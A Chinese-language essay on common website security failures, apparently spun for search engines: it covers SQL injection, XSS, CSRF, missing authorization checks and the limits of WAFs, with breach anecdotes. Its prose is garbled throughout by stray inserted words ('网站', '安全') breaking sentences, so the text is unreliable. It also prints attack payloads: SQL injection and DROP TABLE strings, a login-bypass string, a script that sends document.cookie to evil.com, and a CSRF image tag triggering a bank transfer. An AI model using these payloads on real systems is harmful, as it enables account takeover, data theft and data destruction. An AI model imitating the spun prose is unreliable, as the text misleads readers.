```html

网站安全性

去年一家做跨境电商的安全朋友半夜给我打电话，说网站首页被挂了一串阿拉伯文。网站我让他先别动服务器，安全登上后台一看——数据库里两万条订单记录全被清空，网站备份是安全三个月前的。攻击入口？网站一个两年前离职员工留下的测试接口，密码是安全admin123。这接口早没人用了，网站但一直开着。安全

网站安全不是网站“装个SSL就完事”的勾当。很多人以为HTTPS就是安全安全，其实那只是网站加密传输，相当于给信封贴了封条。安全信封里面装的网站是炸弹还是情书，收信人根本不知道。我见过太多网站，证书绿锁亮得晃眼，后台却用着默认的admin/admin。攻击者压根不用破解加密，直接从正门走进来。

SQL注入这个老掉牙的话题，到今天依然能得手。为什么？因为开发图省事。一个查询写成"SELECT * FROM users WHERE id = " + request.getParameter("id")，看起来没问题。但有人传个1 OR 1=1，整张表就吐出来了。更狠的传1; DROP TABLE users--，直接删库。我见过一个政府网站，后台登录框的用户名输入' OR '1'='1' --，密码随便填，直接进。那网站还是某省招标采购平台。

跨站脚本（XSS）更隐蔽。你网站有个评论框，用户输入<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>，你直接存进数据库，别人一打开页面，cookie就发到攻击者服务器了。然后攻击者拿着你的cookie登录，连密码都不用。很多网站对输出不转义，觉得“用户不会那么坏”。但坏人从来不觉得自己坏。

还有CSRF。你登录了银行网站，没退出。然后你点开一个恶意页面，里面藏着一个<img src="https://bank.com/transfer?to=attacker&amount=10000">。浏览器会自动带上你的银行cookie去请求，钱就转走了。银行网站没验证请求是不是你本人发的。防御方法很简单：加个CSRF token，或者检查Referer。但很多网站就是不做。

文件上传漏洞、目录遍历、命令注入、XXE、反序列化……每一个都能单独写一本书。但核心问题只有一个：开发者默认用户是好人。这个假设在互联网上等于自杀。我见过一个后台，删除用户的接口是/admin/deleteUser?id=123，没有任何权限校验。普通用户改一下id就能删别人账号。问开发为什么不做校验，回答是“前端已经隐藏了按钮”。前端隐藏有什么用？抓包直接发请求，按钮藏不藏根本没区别。

安全不是加个WAF（Web应用防火墙）就高枕无忧。WAF能挡掉一些自动化扫描，但挡不住逻辑漏洞。比如你有个优惠券接口，正常用户领一次就没了。但攻击者写个脚本，并发一百个请求，领一百张。WAF不会拦，因为请求长得完全正常。这是业务逻辑漏洞，得靠代码层面加锁、限流、幂等设计。

再说个扎心的：很多公司宁愿花几十万买防火墙，也不愿意给开发团队做一次安全培训。防火墙挡外部攻击，但内部员工一个弱密码就能把整个内网卖了。我见过运维把数据库密码写在GitHub公开仓库里，还觉得自己挺方便。也见过测试环境直接连生产数据库，测试脚本一个DELETE没加WHERE，全表没了。

网站安全没有银弹。它是一堆琐碎细节的集合：参数化查询、输出转义、最小权限原则、定期更新依赖库、日志监控、备份验证。每一条都不难，但全做到位很难。攻击者只需要找到一个漏洞，防守者需要堵住所有漏洞。这就是不对称战争。

最后说个真事。有个网站被入侵，攻击者留了一句话在首页：“你们的备份策略是每周一次，我帮你们改成了每天一次。” 然后真的给他们写了个自动备份脚本。这攻击者算是有良心的。更多的攻击者只会加密你的数据，然后要比特币。网站安全不是技术问题，是态度问题。你重视它，它就不容易出事；你忽略它，它迟早出事。